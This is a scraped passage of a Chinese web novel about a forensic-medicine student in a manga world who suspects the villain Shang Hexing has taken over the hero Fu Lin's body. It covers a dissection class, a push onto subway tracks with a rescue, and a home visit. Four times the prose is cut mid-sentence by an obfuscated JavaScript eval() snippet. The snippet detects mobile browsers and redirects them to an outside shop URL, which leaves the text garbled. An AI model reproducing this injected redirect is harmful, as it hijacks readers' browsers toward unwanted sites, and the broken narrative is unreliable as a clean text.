不过,人皮是有韧性的,且还有丰富的白色结缔组织,所以想要撕裂还是有一定的难度的。 人皮只要撕到前额能够完整地暴露出来,就好了。 我很早就做好了。 刚才还被詹主任叫过去拍教学视频。结束后,詹主任就让我在解剖台旁边站着,看谁需要帮忙,我去跟着搭把手。 小庄这么一说,我的脚步也跟着她的走。 她座架上的人头正面五官已经有点扭曲了,不过后面切得很漂亮,只是翻到颅顶的时候,皮卡在大脑门上并不是很好施力。 “我想着再往前切,但是正面的伤口缝合痕迹就会很明显了。” 她指的是切到额前。 “是的,你的考虑是对的。我们看看怎么弄?不急。”我说道。 死者家属绝对不会想看到自己的亲人额前有一条缝合线,所以我们会尽量保持正面的完美。比如说,对待头发稀疏的死者,在尸检时,我们的切口一定要尽量往后。 虽然这里我们用的不是会引发争议的头颅,切难看一点也没关系,但是严谨精准还是很重要的。 “你已经做得很好了。” 我检查撕皮的难度,对我来说,撕下来已经不是难事。可对于力气小的人来说,还是要有其他更好的方法。 我摸着人头的耳朵说道:“可以在耳朵后面扩大切口。” 随即我拿出的解剖刀,往人头后耳处切开,同时我开始用力抻皮,撕扯感也跟着在我的指尖跃动着。很快地,人皮的松弛感也肉眼可见,小庄便兴奋地开始准备自己上手。 “谢谢!黎稚。你做得真好,我一定会在晚上多看你的教学视频几遍的。” 我淡淡地挥手,“不客气。有需要的话,随时叫我。” 然后,我又回到我的解剖台边上发散思维。 刚才想到哪里了? 哦,要是被商河星拍到我解剖小狗尸体,然后放给我的亲友们看,他们一定会吓坏的。 而我的形象必然尽毁。 为了避免这种把柄被他抓到,我抱着「摄像头背对着我,应该不会发现什么吧」的侥幸心理,只是帮小狗清理了尸体的伤痕和血污,顺便帮它把伤口缝好,再埋回原来的地方。 要是商河星问起来的话,就说「我有洁癖」。只是昨天晚上,不好耽误他的事情,所以我才草草下葬。 我觉得「洁癖」这个理由是很有说服力的。 毕竟商河星在漫画设定里面就是一个对灰尘过敏的人设,得经常戴着口罩出行的人。 在Anubis城里面,他每天都是住五星级酒店。 漫画里面,在没有揭露他身份的时候,一个经常戴口罩的反派常年住酒店的做法,很难不想他是为了在这个高危世界里面,给自己安置安全屋。而在读者看来,这个反派看起来就很有排场。很难让人想到他有对灰尘过敏的症状。 可是我进入漫画之后,我就觉得他之所以一开始就会投靠市长,就是因为市长有财力支撑得起他高要求的生活起居。 我相信他对我的理由是有共鸣的。 其实他昨天傍晚葬小狗的时候,时不时蹙眉,其实内心里面在想着“太脏了吧,这也太脏了!” 对! 我认为我的想法是对的。 才安下心不久,我又想起商河星还有个反派通用的设定。 每个月有三分之一的晚上,他都会固定被撕裂般的头疼折磨,无论服用什么药,都没有办法缓解。这种挥之不去的痛苦让他敏感多疑,对谁都冷漠疏离。 我怎么可能只用一个「洁癖」的理由来说服他呢? 难道我果然应该表演成嗜血狂魔吗? “……” 时间在我乱七八糟的想法中逐渐流逝。 中午休息的时候,还是小庄提醒我可以去食堂吃饭了。 “黎稚,你今天怎么心不在焉的?” 离开解剖室之前,小庄和在职员工一样摸了摸放在门口的圆石。 那石头拳头大小,上刻着花体字母A,背后也有像是竖瞳未闭合的图案。这是我们Anubis的标志,象征着神明的守护。 我的抽卡软件也有这个图案。 Anubis这里有个不成文的规矩——遇到这样的石头都要绕行,不可跨越。 而法医见血比较多,摸石头成了下意识的规矩,这样能驱邪避晦。 我跟着出门的时候,也跟着摸了摸。 如果要问我感受到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073789|149412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心灵的平静了吗? 我的答案是,它就是一块凉凉的石头而已。 “我想去一个地方,但是有点犹豫。” 我说得语焉不详。 不过现实跟小说是不一样的。现实里面不需要把说得事无巨细。因为现实的我们不需要解释给读者理解。所以我完全不担心,小庄会觉得我说了跟没说一样。 其实会烦恼的反倒是小事,大事是我想去商河星在的酒店提前看一眼。 傅霖到底是死了,还是彻底消失了? 这段时间里面,商河星应该也有去找他。而商河星说让我和“商河星”见一眼,是真的见,还是他想敲我闷棍呢? 我不太放心。 虽然我帮不上什么,但是傅霖要是真就这么惨死了,没个结果,我作为曾经追过他的读者,至少也该给他烧个香之类的。 小庄很快就懂我的点,“我们可以陪你去呀!找个最可靠的,不就行了吗?” 她的话如当头棒喝。 是的! 我压根不必一个人逞强,只要叫到对的人—— 虽然,别人肯不肯来还是个问题。 我在主角团里不太有人缘,可能会叫不动人。 “不过,我找谁呢?” 小庄也没有想到我会采纳她的建议,反而更高兴地跳起来,“黎稚,你帮我那么多!我帮你安排,你想什么时候?” “今天下午五点后?” “行!” 小庄信誓旦旦的样子,让我安心太多了。 主角团那么多可靠的人,谁来都可以。再说,我这段时间还是危险期,要是有人陪着,商河星也会更小心行事。 “你真的帮大忙了。”我真心实意地感谢道。 为了表示报答,我把今天抽卡得到的糖炒栗子分给了小庄。 事实上,S级糖炒栗子的卡面上还有一个黑色的隐藏人物,脖子上带着十字架。可是,我点击领取的时候,只有一个糖炒栗子出来。 我对这个不太在意,把它当做是卡牌牌面设计的一部分。 我的零食一直都广受欢迎。 这次的S级糖炒栗子更让小庄吃得停不了手,心情好的同时,技术也提高了。下午的实操课没有出现一次错误。 ※ 下午四点四十五分提前结束。 我匆匆地跑向出口大厅,不想让帮忙的同伴等太久。 然而,我刚到出口大厅,就看到傅霖…不对,是商河星,正稳稳地坐在大厅沙发上。他一人坐着,清冷的表情让我一时恍惚。可四目相视的瞬间,他带起一个营业式的假笑,毫无人情味。 “好巧?”我干巴巴地说,“你为什么在这?” 商河星低头扫了一眼手机屏幕,“小庄说你找我,让我说陪你去一个地方。” 我来不及回应,就感觉到后面被人拍了拍。转头一看,是笑容阳光灿烂的小庄,她快步地从我身后跑走,只给我留了一句轻快的“不用谢~”。 嗯…绝对不谢。 “……” 现在确实没有任何人比Anubis救世主更靠谱的了。 我回过头,商河星正好站起身,平静地问我,“那么,你想我陪你去哪?” 我只想背着你,自己偷偷先去找傅霖。 这是我能说的吗? 5. Episode 05 Episode05谢谢你救了我 我能说一句实话吗? 就是我之所以没有想到来的人会是商河星,是因为在我心中,他已经被踢出主角队伍里面,跟完全不存在没有两样。 这不知道算是一种保护机制,或者选择性过滤? 就像是我以前看动画的时候,遇到某个人设崩塌的角色之后,我在后期和再人谈起来这部动画,会完全不记得有这人的存在。哪怕我还记得名字,可是我就是会觉得不存在。 同理,在看到漫画更新之后,商河星这人对我来说,即使还记得他的名字,可是情感上已经不在接纳他了。 事实上,商河星如果不再干扰我的生活的话,我也不会再把心思放在他身上。 没人证明他杀人了。 同样的,也没有人相信身份互换或者重生这种非现实。我虽然很喜欢傅霖这个角色,但是不代表我只为这个角色而活。 再来,在这个高危社会里面,走两步可能遇到小偷,进商店可能遇到抢劫,隔壁邻居要么是精神病患者,要么是社会边缘人士,安全问题只能依靠政府机构暴力解决。身边十人里面存在一个杀人犯并不是奇怪的事情。 我都对此已经习惯了。 不过,现在的每分每秒都是要和商河星做周旋的关键。如果他不会再对我起疑,之后就是他走他的阳光道,我能走我的独木桥,再也没有交集。 我知道一定会有朋友说,为什么不抓起来呢?就算是设个陷阱,证明这个披着傅霖的皮的人是个杀人犯或者犯罪分子,关起来也好啊? 可是,傅霖是声名赫赫的Anubis救世主,是Anubis之光。 谁杀人,都不信他会做杀人。 (朋友们,我是不会想当然地做事的,自然是有做个基本调查的。) 再来,要是他的罪名真的证实了,商河星版傅霖带来的信任危机会让整个本来就浮躁的社会更加焦虑——现在有谁还能值得相信呢?这对整个社会影响都不好。 古人有云,达,则兼济天下;穷,则独善其身。 (他们不是那么断句的)。 我能做的就是,降低商河星带给我的风险。 在他问“你想我陪你去哪”的时候,我立刻接了一句,“小庄是怎么跟你说的?” 商河星语气平淡,“她说你要人陪你去一个地方,什么事情都没说。虽然是在群里发的,但是她私信发给我很多催促的信息。”这话音听起来没什么问题,可是我总觉得这里面有意味深长的语气。 其实我把主角团群消息设成了「消息免打扰」,不在意他们发什么消息。因为我只是个工具人而已,平常时候也不会跟着他们查案子,跟他们关系不熟。在群里面,我很少会冒泡,也不想和他们周旋。群里面和我熟的除了同专业的小庄,就是傅霖了。 【12:23p.m.】 「小庄:有没有人今天下午五点后有空啊?黎稚要一个人陪他去个地方。」 「何其思:他不是一堆朋友吗?」 「楼子:傻子。」 「何其思:你如果要跟我打架,就直接说!放学操场见。」 「楼子:连这种走形式也不懂。」 「安轻言:黎稚也在看,你们别吵。」 不,我并没有看。 什么走形式? 「小庄:没事,我找到人了~~」 「何其思:啊?这么快,我都没有答应呢!」 「楼子:肯定是傅霖去啊。」 「何其思:我也去!!!上次他带的饼干真的好好吃。」 「安轻言:楼子」 「楼子:放心,我会让云哥去揍他。」 「云:。」 反正最后过来的就是商河星版的傅霖。 我收起手机屏幕的时候,看到商河星的手机屏幕里面一闪而过的密密麻麻的小庄发的消息。小庄最后一句写着“要好好照顾黎稚哦”。 最后一句话并不复杂,所以倒着看也很快能理解。 商河星读着最后一句话时候,微微蹙起眉头,“……” 我在商河星看过来的时候,心虚地挪开了视线,几乎心口瞎说,“我本来想着你还没有走,给你买份礼物的。” 本来想说哪里发生命案,要去看一下的。 可是,我担心血腥现场会激发他的阴暗面,把我给宰了。 商河星说:“作为惊喜礼物,真的能提前跟我说吗?”说完,我看着他硬逼出一抹笑容。 在没有意识到这人换芯之前,我并没有觉得他哪里奇怪了,可是发现他换芯之后,他所有表情都显得虚假不真诚,且饱含深意。 “我怕你坐车离开Anubis的时候,没有时间送,还是现在早点送。”我想了一下,顺便刷一下商河星的好感,“我也要买送别礼物给商河星。我们之后不是要去见他吗?” 商河星立刻便不假思索地笑道:“黎稚,你真的太体贴了。” 这种直截了当的反应表现出,他对我的好意丝毫没有触动半分。这连思考的停顿都没有。这跟刚把食物放在嘴巴里面就说好吃的人一样假。 “那我们走吧。”商河星微微一笑,嘴角扬起得起到好处。 我也尽量让声音提高起来不带多余的情绪,回应道:“好。” 两句话几乎是同时落下,可是空洞的尴尬却在我们中间炸开。 没有一个人动一步,主动往前先走。我不知道他怎么想的,但是我肯定不会走在他这个冷血背刺男的前面。 “……” “…………” “………………” “……” 就在彼此隐密的心思都要自己呼之欲出了,商河星忽然垂下眼眸,神色变缓,像是认真思考了一秒,才温和地说道:“黎稚,你也不用总是那么客气。” 那一瞬间,熟悉的神态让我一怔,似曾相识的语气像是一层薄薄的隔膜,模糊了眼前的真假。 因为傅霖也总是这样和我说,偶尔是开玩笑,偶尔是懊恼,也有像现在的温和中带着一点无奈。 豁然间,我感觉到自己还是太紧张了,“一起走。” 我率先迈了一步。 反正预告是写的星期四才出事。 还是不要表现得太紧张了。 接下来一路的氛围都很轻松。我们谈的都是要买的礼物类型。我们会先走一段路,到城市轻轨站去商场。 六点多正式下班高峰期,到处都是人。下一班列车到的时间还有五分钟,商河星提议说他要去买水。 我主动请缨,“我去吧,你继续在这里排队。” 有时候也不是我真的热情,喜欢跑腿,只是找个借口脱身而已。 离开排队的人群,独自走到空无一人的饮料贩卖机前的瞬间,我才彻底松了一口气,像是卸掉了身上隐形的重担。 脸上保持了一路的“得体”微笑也终于能松开了。 我揉了揉脸颊,僵硬的肌肉有点酸疼。 “商河星这人还真会演……” 我轻声自言自语的同时,顺势抱起两瓶饮料,准备重新挤进密集的人群中。 这个短暂的中场休息给我充了一会电,让我有点精力继续应付接下来的相处了。 就在这时,有一股强力猝不及防地从我左侧袭来,我的身体不由自主地往轨道边一倾,手中的饮料滚落,整个人骤然失重。 我整个人就像是被人用过肩摔摔过去的人,眼前一黑,又完全控制不了自己的身体,目光下意识地往人群的方向抓去,像是它长出了一只手,要帮我抓住一个可以救我的人。 我全身下意识地绷紧,冷汗陡然从背脊里滑落。 一股窒息感瞬间爬上喉咙。 怎么回事?! 在人群里面,我并没有看到商河星冰冷轻蔑的眼睛,却在掉落轨道的时候,注意到他藏在密密麻麻的人群 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073790|149412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里面鞋子。 我只感觉自己喉咙干了干,列车的轰鸣声从轨道震动处传来,震得我精神涣散。我脑海里面只有一片空白,摔落在轨道的场景和漫画被撞死的画面意外重合。 下意识地,我朝着天空奋力地喊,“傅霖你——!” 商河星,我要是死了,你也别想清白地过一生。 这话还没有说完,列车驶来的声音渐渐由低变高,轰鸣声夹杂着金属摩擦的尖锐刺耳声滚滚而来。周围躁动的惊呼声也变得忽远忽近,就像是另外一个世界的声音,怎么也听不清。 我的声音彻底哑了,脚步却麻得钉在了原地,脑袋里面剩下念头都和商河星、傅霖再也无关了,只有—— 我还没有把我的私房钱告诉我爸妈。 日记烧了没有? 我的网页浏览记录删干净了吗? …… 就在这一刻,时间都像是被拉长了一样。 眼前的世界瞬间失去了所有的声音,所有的颜色,连光影都变得模糊不清。直到一双有力的手猛然抓住我,将我一把拽向站台侧面,那种落地的真实感让我重重地喘了一口气。 与此同时,我也才意识到身后的人不是工作人员,正是商河星。 为什么? 我一愣,内心全是混乱。 他的手臂正紧紧环在我的身侧。温热的触感和沉稳的力量也透过衣物传了过来。他的心跳跟着这紧急的动作贴近我的背。我能感觉到,这跳动声与列车的轰鸣声同频,像是要通过胸膛传递到我的体内,告诉我—— 他其实也不是那么冷血的人。 反派能作为漫画主角,肯定有能洗白的点。 其实是我了解得不够多。 余光中,他的手死死地扣在站台边的扶栏上,手指关节发白,手臂的青筋浮起,身体如巨石般紧绷,让我感觉到他内心深处的紧张。 还不等我多想,轰鸣的列车带着刺耳的风声擦身而过。 呼吸之间,时间也像是被压缩成了无数相交错开的碎片,裹挟着巨大的压迫感让人无法细数时间的流逝。 我也突然间分不清眼前的人到底是熟悉的傅霖本人,还是商河星。 当列车轰隆离开,我也被周围的好心人拉回站台,双腿微微打颤,完全不敢回头看一眼。而旁边的商河星也还虚扶着我的肩膀,不会过近,也不会显得完全冷漠,像是随时准备提供支持。 恍惚间,我意识到我活了下来。我也忍不住多觑了一眼旁边表情平静的商河星。 “……” 难道真的是我误会了吗? 我忍不住检讨自己,平时确实有点太喜欢精神出走。 像是“走路不小心”也不是第一次被说了。 不得不说,我内心对商河星的形象又多了一丝挣扎。 就在我内心稍微消除了对商河星的一点警惕时,周围忽然爆发出一阵热烈的鼓掌和喝彩声,像是我们刚才上演了一出英勇救援。 我愣了几秒才反应过来,人群的表情是带着钦佩和赞许的。 很难不想,在他们眼中,是商河星奋不顾身地跳下来救我。 可是,以他的性格,他明明会装死一样地视而不见。 是的,这就是违和感。 为什么他要跳下来? 在掌声中,我的理智终于重新上线。 唯一的解释就是,在我喊傅霖的名字时,他们意识到Anubis救世主就在旁边,他们也许不会猜他是凶手,但会直接把他推下月台救人。 于是,商河星被迫来救我。 如果真是这样…那可真是成也傅霖,败也傅霖。 我心里突然一阵幸灾乐祸的好笑。 在周围掌声的衬托下,我目光直接刺向他,感激道:“傅霖,谢谢你救了我!” 这句话刚落下,我分明看到他表情瞬间凝固,眉间闪过一丝不悦,下一刻又恢复如常,好像刚才的一切只是错觉。 6. Episode 06 Episode06内心天崩地裂 掉下站台的事件结束后,我最佩服我自己的是,我还强心脏地去买礼物了。 不止买了傅霖和商河星的,还给我爸妈精心挑选了礼物。 晚上睡觉的时候,我还为这件事烦躁,主要是烦躁于前者。 为父母买礼物,理由就太多了:一是当时认为自己要凉掉了,死后余生要对自己身边的人好一点;二是觉得如果没有这个给父母买礼物的目的,我可能随时会把商河星从楼梯口上踢下去。 我和商河星之前还约过一块去见“商河星”。关于这件事上,我已经放弃和商河星单独行动的决定,于是约起一群人浩浩荡荡地去看。果不其然,“商河星”神龙见首不见尾,行踪不定。 商河星版傅霖还饱含歉意地说道:“他可能临时有事情,我之后约到他的话,我再带他过来和你们见面。” 这件事让我笃定,商河星就一直筹划着要单独把我干掉。 我自然就不会再和他相处,也不想管他了。 总之,星期二在惊险中结束了。星期三也在周旋中结束了。星期四—— 暴雨如注。 春季通常会由于洋流和纬度因素,以及最近城市工业化等问题进入连绵不歇的雨季。这是常态,但是这两年春季的暴雨越来越频繁,极端天气出现的概率也比往常要高。 早上打开新闻的时候,Anubis紧急事务管理部长丹妮丝·麦哲伦在广播电台采访时,说夏季可能会出现一系列的恶劣天气,居民要做好防范,类似山林火灾,强风暴,甚至洪水等。 网络论坛的人评论,「麦哲伦部长的程度说轻了,应该还要加个海啸。」 漫画虽然把Anubis设置为类似世界中心的存在,所有事情只在这座城市发生,但事实上,从我学到的地理知识来说,Anubis还并不是国家,只是一座岛城,周围也还有很多群岛,归属于统一的行政区。 整座城市作为港口城市之一,连通世界各地的贸易。它作为新型科技与经济的试验城,拥有部分的自治权。事实上,它本身因水资源匮乏等因素,不适应发展农耕或者畜牧业。所以,对于政府来说,这座Anubis城也比想象中好控制:像是封锁连接的桥梁和隧道,控制海域贸易,切断淡水资源和粮食供给,就可以孤立城市。 不过,这种设定并不是漫画的重点。 漫画里面并不会上升到政治层面,只是为很多独立的制度或者系统做展开而已。对于读者来说,只要知道漫画中的玩家需要通过各种探案任务,找到城市真相就能够顺利脱离游戏。 类似某种丛林游戏,被困在Anubis社会里,玩家既要有合作,也有竞争。 …… 这种下雨天实在安静,直到我爸出门前来看我。 “今天下雨,你要我帮你请假吗?”我爸看见我没有出门,于是探出头关心我一句。 “前两天就和詹主任请过假了,我说我要写论文。” 在我爸敲门前,我已经把网页的小恐龙跑酷游戏偷偷地藏起来。 那是个像素小游戏,一条直线上,小恐龙会遇到障碍,但只要不断往前跑就可以了。我这个游戏玩得不太好,大概在五六分钟就会卡住,重头开始。不过我很喜欢这种感觉。 因为对我来说,失败让这件事有尽头,让我可以获得微妙的平衡。 我继续说道:“我看天气预报说,这几天都会下雨,所以都请假了。” 这叫以防万一。 我就这几天不出门,漫画剧情还能拿我怎么办? 我爸对我这种乖学生请假是不会有任何意见的,“晚上会从食堂打包带过来,你要吃什么提前说?” “好的,谢谢爸爸。” 应完之后不久,我妈郑女士也开始洗漱,临近出门的时候也来看我,“你做什么课题?” “基于多维方法的硅藻种属精确识别研究。”我回复道,“想着根据硅藻种类和数量分布,来更精准地推测溺水尸体的落水地点。希望这种分类方法可以提高精确度。” 之前提过Anubis是岛城,周围的水域环境复杂,市民从小就有游泳的必修课。此外,政府政策开放。现在市民和游客接触水域的机会很多,以前Anubis就是海上活动的胜地,现在又加上海钓开放,水上活动频繁。所以溺死事件比想象得多。 我妈听了之后,没有太大的反应,很理所当然地继续说道:“数据采集方面做得怎么样?” 得益于去年一整年都有各种玩家案件,像我这种两点一线,又足不出户的人,也可以独立收集齐整个岛城各处水域的样本。 我现在只是在润色,或者说,我其实在摸鱼。 早做完了。 “分类的图像和分子数据都在电脑里面了。” 郑女士点点头,俨然是我的导师一般,“分析手段用了哪些呢?” 图像分析就是固定那几种。我还是用的显微图像分析比较多。当然,这有卷积神经网络CNN也有用,不过它是黑箱模型,再加上它得依靠原有的数据采集,对我的帮助没有想象中那么大。 我妈这里主要问的是分子数据分析手段,类似生物DNA条形码分析(DNABarcoding)或者是高通量测量(HTS)。 “比较了Sanger、HTS和qPCR,高通量测量会比较适合我的研究,能够分析硅藻的多样性和相对丰度。” 说到这里,我得说本来我也想用Sanger测序,可以对少量的样本进行精确分类,但是——太贵啦! 虽然这个研究肯定有一点资金和设备支持,但是多的也没有了。因为从商业判断上,这是没有太多经济价值的研究。所以,我自己也把这几年的奖学金之类的都贴进去了。 那东西贵到我希望自己当场暴富,就不至于为了一个小小的硅藻样本就要烧我10安币,那么心疼了。 10安币相当于我现世50-70的华夏币。 “嗯嗯,可以。”我妈听我解释一番,就对我整个规划放心很多了,“有需要的话要跟我们提,我们尽量帮你。” 我妈又道:“不过你想用在哪里呢?” “至少可以用在防范落水高危地以及侦查方面。”我说道,“人为地减少溺水事件。” 郑女士不知道为什么,有点遗憾,就说:“大家要是能看到你的付出,就好了。” 社会螺丝钉都是这样的啦。 在支撑起整个社会系统运转的时候,他们的存在往往不容易被人察觉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14073791|149412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就像是空气般默默无闻——只有在紧急关头,人们才会意识到他们的不可或缺。可是一般情况下,最好还是不要到那种糟糕的境地。 我认为,沉默而又稳定的螺丝钉才是最可靠的螺丝钉。 “这可是我的论文,学校和导师怎么会看不到?”我拍了拍电脑,煞有介事地说道。 郑女士对我这种没正形的回答白了一眼。 好凶! 哈哈哈。 我催促道,“快上班吧,郑女士。” * 他们上班之后,我就在家做打扫。 做着做着,我突然想起商河星坚持说自己会离开Anubis的事情。 可是现在按照新出的剧情内容,他应该也离开不了。我猜,他应该就是不耐烦在大学校园里面的束缚,所以才要办退学,然后去某个城市角落自由地待着。 我也不想继续理会这件事了。 漫画已经结束了,「凶手玩家脱离世界会引起的世界崩坏」也没有出现,所以我也不用管玩家在做什么。更别说,我有类似预知的漫画通知,下雨天不出门就好了。反正我不出门也不是什么怪事。 我越想越觉得,之前的我肯定是被漫画预告吓得手忙脚乱了。现在我就应该悠闲地享受生活。 什么傅霖? 什么商河星? 都不关我事。 打开电视,掏出抽卡系统,吃零食。 一套动作行云流水。 今天的N级卡牌是「奶油蘑菇汤味爆米花」。 “……” 我更喜欢焦糖口味的。 吃完一口之后,热乎乎的爆米花裹着浓郁的香味,轻盈的口感在舌尖上很快就像云朵一样融化了。汤口的咸味带着奶油的柔和清甜,更让爆米花的味道更上一层楼。 我惊疑地看着抽卡系统,你就没有难吃的东西吗? 在沙发上吃完爆米花之后,听着外面“哗啦啦”的雨声,我再看向电视上的电影连播,有种慵懒的倦意袭来。于是,我拿着抱枕抱在肚子上,迷迷糊糊地睡过去了。 再醒来的时候,是下午三点多钟。我又迷迷糊糊地啃了一颗苹果和一盒酸奶。随后,我给我爸发短信「今天是吃香辣小龙虾的心情」。不用等回复,我又去被窝里面躺着。 也不知道睡了多久,我听到门铃响了起来,于是坐在床边还在冒泡:这是谁来了? 我们这片区都是政府公务员的公寓,安全性很高,猫眼都不用怎么用。因为来访的人必然是出入都有权限的,且经过户主同意的。 我检查一下手机,屏幕置顶的是我爸的一句「开门」。 时间也要临近晚饭时间6点23。 这当即让我明白了,肯定是我爸拿太多东西没办法开门,我兴冲冲地连拖鞋都懒得穿,直接跳着去开门。 然而就这样的,一件比被人上门刺杀更不幸的事情,就这么发生了。 门口站着的商河星西装笔挺,修然风度,而我却顶着苹果头,穿着一件小肥啾的睡衣,愣愣地和他对视着。 “……” “…………” 很快地,我默默摸向我的头绳,面不改色地把它从头上顺了下来。 在做这件事的同时,我内心已经天崩地裂。 7. Episode 07 Episode07这世界真玄幻 我盯着在门口目睹我真面目的“傅霖”。 两人都没有开始对话,我内心的杀意就已经萌生。 事已至此,只能杀人灭口了。 其实,早从站台被推下的那一瞬间,我就意识到,我与商河星之间只有你死我活的境地。可是,我终究还是心软,想着做人留一线,退一步海阔天空。 没想到,果然应了那句“斩草不除根,春风吹又生”。 我真没想到,有一天自己会这么丢脸。 曾经那么光辉伟岸的形象就这么一失足便成千古恨。 圣人云,慎独。 就是一个人的时候也要审慎自我,做一个完美,不放纵自己的人。(bushi) 早知道我上大学后,就去买深色的丝绸睡衣穿了。 实在悔不当初! 我的手指扣着门扉,一边脑补出自己用一副冷漠的表情跟他说“生人勿进”的画面,一边用一步不肯退让的抗拒状态,又是尴尬又是警惕地问道:“傅霖,你怎么会来这里?” 这该死的体面和社会礼节总有一天会拖累我的。 商河星版的傅霖似乎还没有从刚才的现实走出来,慢了一拍,说道:“和小庄见面的时候,遇到了黎叔叔,他请我过来吃饭,说是答谢我前天救了你。” 他把自己提的东西拎起来给我看,“给你带的晚餐。黎叔叔让我先上楼,他又跑去给你买水果了。” 哪怕我跟着他的话闻到了我的香辣小龙虾,我都没有往下瞟。 “……” 我爸爸才不是你黎叔叔。 不准这么亲近! 我要是一只小鸟,现在就啄他好多下,把他赶跑。 “真要答谢你也应该在外面吃饭才对。我家里那么乱,怎么好意思招待客人呢?”我很快地随便找了一些托词,想就此把人关在外面。自己则迅速地换衣服。 反正不让商河星踏进我家门半步。 要知道,我房间里面那些心爱的贴纸和手工木偶都还没有收起来! 人是不能两次踏进同一条河流。 我不能再丢脸第二次了。 商河星倒也没有意见,就是跟个木桩一样杵在门口一动不动。我估计,就是被我那话痨爸爸磨过来的,他内心早就想走,碍于傅霖的人设才答应下来的? 就在我马上要关门的时候,不远处的电梯门提示铃一响,我爸的人就先冒出来了,率先看向站在门口的傅霖,“诶,你怎么还没有进去吗?” 不等我反应,我爸就用看着不懂事的孩子的目光无奈地望着我,“阿稚,你怎么能让客人在门口等着呢?” “…我……” 还没等我开口,我爸说得多,做得也快,马上就推着商河星河我进家里面。而我抓住机会,立刻靠近我爸小声抱怨,“爸,在你心中还有没有想过你儿子我的形象会被破坏?” 我爸飞快地扫了一眼我的睡衣,奇怪地反问:“你哪来的形象?什么形象?” “……” 我发现,跟我爸相处20年那么久,是没有感情和默契可言的。 过了玄关之后,我爸就热情地接过“傅霖”手上的东西。 他要去把东西摆盘,让我在客厅招待商河星。 那我可得准备我珍藏多年的□□,砷和磷了。 尽管我内心充满各种毒辣阴暗的想法,还是问道:“要不要吃脆脆的苹果?” 没听到他拒绝,我就用小刀开始削兔子状的苹果块。 余光处,商河星坐在单人沙发上,似乎在巡视周围的情况。 我倒是不怕他突然发作,奋起变成杀人狂。 因为我爸是练家子,而且Anubis的政府高级公务员是允许和警察一样随身配枪,只要申请就会批下来。我们家里就有两把上膛的枪。再来,我开门见他的时候,就没见到他全身有伪装过的模样,从上到下也没有几处可以藏利器的地方。 这很明显不是过来杀人灭口的。 不过,他这么安静就让我觉得有点怪异和不自在,不知道他到底在想什么。 就在我给小兔子苹果摆盘的时候,我注意到,商河星正目不转睛地盯着我们客厅的全家福。 在那张温暖的照片里面,有六岁的我笑容洋溢地和父母紧紧挨坐在秋千上。背景是阳光洒满的院子,温馨而幸福。 “……” 那是一张影楼摆拍。 在三十多张里面,这张是最自然的。 当时,我们三人拍得脸都僵了,感觉手脚都不是自己的,完全是摄影师手上的玩具。 反正,之后我们都是随意自己拍,不找影楼了。 才追忆两秒,这段回忆带着痛苦的感觉跟着袭上心头。 反观商河星坐在单人沙发上,眼底的怅然浮起,与他平时的冷漠截然不同。 脑袋里面一闪而过他在漫画里面的设定—— 他是和单亲妈妈生活的孩子。 父亲很早就死了,母亲又是性格柔弱敏感的人,难以给他提供稳定的情感支持。所以,年幼商河星在被人欺负说没有爸爸的时候,也从来都不会对他妈妈诉苦。 也许,商河星是一个渴望家庭温暖的人。 我目光闪了闪。 于是,我突然间又有了一个想法——「话说,早在漫画里面就暗示过多次,傅霖从不把NPC当做人看,所以才会那么冷漠。如果我用人间的真诚与温暖感化他那颗冷漠的心——」。 这个念头刚冒出来,正巧瞥见商河星嘴边浮起隐约的冷笑,是讥讽,也是不屑。 我刚才那个烂主意瞬间烟消云散。 这人可是农夫怀里的那条蛇,东郭救下的中山狼。 要是真的想要以这种方式靠近他,若不是傻了,就是疯了。 “你找我有事吗?”我主动问。 我不信他和我爸会这么单纯地碰到。 我爸的活动范围那么窄。 “小庄说,你请假了。”商河星重新挂着傅霖式的正派面容,试探地说起来意,“说是因为生病的关系。不过,你看起来比我想象中的精神还好?” “…有休息过了。”我干巴巴地解释。 “傅霖”也不和我打太极,很快就说道:“我主要是想和你说,有人在废水厂附近的街道遇到商河星了。” 我内心顿时一惊。 因为在我看来,“商河星”要么是消失了,要么是被控制住了。这才是为什么傅霖这么有恃无恐地到处走动着。 现在出现第三种可能——他逃了。 更令人不解的是,他没有寻求我们这边任何人的支援和帮助。 这和我想象中的那种随时随地无条件相信别人的傅霖截然不同。他连世界设定都能往外说,为什么不敢说身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 